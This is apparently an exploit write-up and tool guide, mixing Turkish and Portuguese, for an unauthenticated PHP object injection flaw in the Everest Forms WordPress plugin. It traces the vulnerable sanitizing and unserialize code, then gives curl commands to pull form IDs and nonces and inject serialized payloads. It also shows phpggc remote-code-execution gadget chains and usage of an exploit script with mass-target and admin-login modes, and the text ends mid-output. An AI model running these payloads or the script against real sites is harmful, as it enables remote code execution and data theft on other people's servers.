FAZ 1 — INJEÇÃO (Autenticação não necessária)
FAZ 2 — DISPARO (Visualização no painel administrativo)

// Her front-end sayfa yüklemesinde tetiklenir
add_action( 'wp', array( $this, 'listen_task' ) );

// line 109 — kullanıcı verisi sanitize edilerek işlenir
$this->do_task( evf_sanitize_entry( wp_unslash( $_POST['everest_forms'] ) ) );

// sanitize_text_field() HTML tag, null byte siler
// PHP serialization karakterlerini (O:, s:, {, }, ;) SİLMEZ
default:
    $entry['form_fields'][$key] = sanitize_text_field(
        $entry['form_fields'][$key]
    );

O:8:"stdClass":1:{s:5:"pwned";s:3:"yes";}

// return $entry; ifadesi foreach döngüsü İÇİNDE
// → Yalnızca ilk alan sanitize edilir, geri kalan alanlar ham kalır
foreach ($entry['form_fields'] as $key => $value) {
    ...
    return $entry;  // ← BUG: döngü ilk iterasyonda çıkar
}

$entry_metadata = array(
    'entry_id'   => $entry_id,
    'meta_key'   => sanitize_key( $field['meta_key'] ),
    'meta_value' => maybe_serialize( $field['value'] ),
    // maybe_serialize() düz string'i değiştirmez
    // → Serialized object string verbatim yazılır
);
$wpdb->insert( $wpdb->prefix . 'evf_entrymeta', $entry_metadata );

$meta_value = is_serialized( $meta_value )
    ? $meta_value
    : wp_strip_all_tags( $meta_value );

if ( is_serialized( $meta_value ) ) {
    $raw_meta_val = unserialize( $meta_value );
    // ↑ allowed_classes parametresi YOK
    // PHP varsayılanı: TÜM sınıflar instantiate edilebilir
    // → POP gadget chain tetiklenir
}

// Bu fonksiyon zaten mevcuttu — sadece çağrılmadı
function evf_maybe_unserialize($data, $options = array()) {
    if (is_serialized($data)) {
        if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
            $options = wp_parse_args($options, array('allowed_classes' => false));
            return @unserialize(trim($data), $options);  // Güvenli
        }
        return null;
    }
    return $data;
}

<!-- Public form HTML'inde gömülü — herkes okuyabilir -->
<input type="hidden" name="_wpnonce123" value="abc123def456">

┌──────────────────────────────────────────────────────────────┐
│  FAZ 1 — ENJEKSIYON (Unauthenticated)                       │
│                                                              │
│  GET /contact/                                               │
│  → form_id=123, nonce=abc123, field=text_xyz                 │
│                                                              │
│  POST /contact/                                              │
│  everest_forms[id]=123                                       │
│  everest_forms[form_fields][text_xyz]=O:8:"Evil":1:{...}    │
│  _wpnonce123=abc123                                          │
│       │                                                      │
│       ├── sanitize_text_field() → serialization korunur     │
│       ├── maybe_serialize() → string değişmez               │
│       └── wp_evf_entrymeta.meta_value = "O:8:\"Evil\"..."   │
└──────────────────────────┬───────────────────────────────────┘
                           │  (Admin rutin kontrol yapar)
┌──────────────────────────▼───────────────────────────────────┐
│  FAZ 2 — TETİKLEME (Admin Panel)                            │
│                                                              │
│  GET /wp-admin/admin.php                                     │
│      ?page=evf-entries&form_id=123&view-entry=456           │
│       │                                                      │
│       ├── is_serialized($meta_value) = true                  │
│       ├── unserialize($meta_value)   ← ZAFIYET              │
│       │   allowed_classes = (yok) → tüm sınıflar            │
│       └── POP gadget chain → __wakeup() / __destruct()      │
│           → RCE / File Write / Data Exfil                    │
└──────────────────────────────────────────────────────────────┘

TARGET="https://target-site.example.com/contact/"

# Extrair ID do formulário
curl -s "$TARGET" | grep -oP 'name="everest_forms\[id\]" value="\K[0-9]+'

# Extrair nonce
curl -s "$TARGET" | grep -oP '(?<=name="_wpnonce)[0-9]+" value="\K[^"]+'

# Teste seguro — stdClass, sem métodos mágicos
PAYLOAD='O:8:"stdClass":2:{s:6:"source";s:14:"CVE-2026-3296";s:6:"pwned";s:3:"yes";}'

# WordPress/RCE1 chain
phpggc WordPress/RCE1 system "id" -s

# Monolog chain
phpggc Monolog/RCE1 system "id" -s

FORM_ID="123"
NONCE="abcdef1234"
FIELD="text_abc123"

curl -s -X POST "$TARGET" \
  -d "everest_forms[id]=${FORM_ID}" \
  -d "everest_forms[form_fields][${FIELD}]=${PAYLOAD}" \
  -d "_wpnonce${FORM_ID}=${NONCE}" \
  -d "everest_forms[hp][abc]="

wp db query \
  "SELECT meta_value FROM wp_evf_entrymeta ORDER BY meta_id DESC LIMIT 3;" \
  --allow-root
# A linha O:8:"stdClass":2:{...} deve aparecer

https://target-site.example.com/wp-admin/admin.php
  ?page=evf-entries
  &form_id=123
  &view-entry=<ENTRY_ID>

// test-gadget.php — USAR APENAS EM AMBIENTE DE TESTE
class TestGadget {
    public function __wakeup() {
        file_put_contents(
            '/tmp/pwned.txt',
            'PHP Object Injection confirmed at ' . date('c')
        );
    }
}

cat /tmp/pwned.txt
# PHP Object Injection confirmed at 2026-04-08T...

git clone https://github.com/kullanici/cve-2026-3296-scanner
cd cve-2026-3296-scanner
pip install -r requirements.txt

requests

python everest_forms_poi.py -u http://alvo.com --mode scan

python everest_forms_poi.py -u http://alvo.com --mode inject \
  --payload-type probe

python everest_forms_poi.py -u http://alvo.com --mode full \
  --admin-user admin --admin-pass Pass123!

python everest_forms_poi.py -u http://alvo.com --mode inject \
  --form-id 5 --field-name text_abc123 \
  --custom-payload 'O:8:"stdClass":1:{s:4:"test";s:2:"ok";}'

python everest_forms_poi.py -u http://alvo.com --mode scan \
  --payload-type ssrf \
  --callback-url http://seu.burp.collaborator.net

python everest_forms_poi.py -l targets.txt -t 10 \
  --mode scan -o resultados.txt

python everest_forms_poi.py -u http://alvo.com --mode full \
  --admin-user admin --admin-pass Pass123! \
  --proxy http://127.0.0.1:8080

[*] Alvo          : http://alvo.com
[*] Modo          : full
[*] Tipo Payload  : probe
[*] Comando       : id
[*] Usuário Admin : admin

[→] http://alvo.com  Passo 1: Procurando formulário do Everest Forms...
[→] http://alvo.com  Passo 2: Injetando payload...
[→] http://alvo.com  Passo 3: Realizando login admin...
[→] http://alvo.com  Passo 4: Procurando ID da entrada...
[→] http://alvo.com  Passo 5: Acionando unser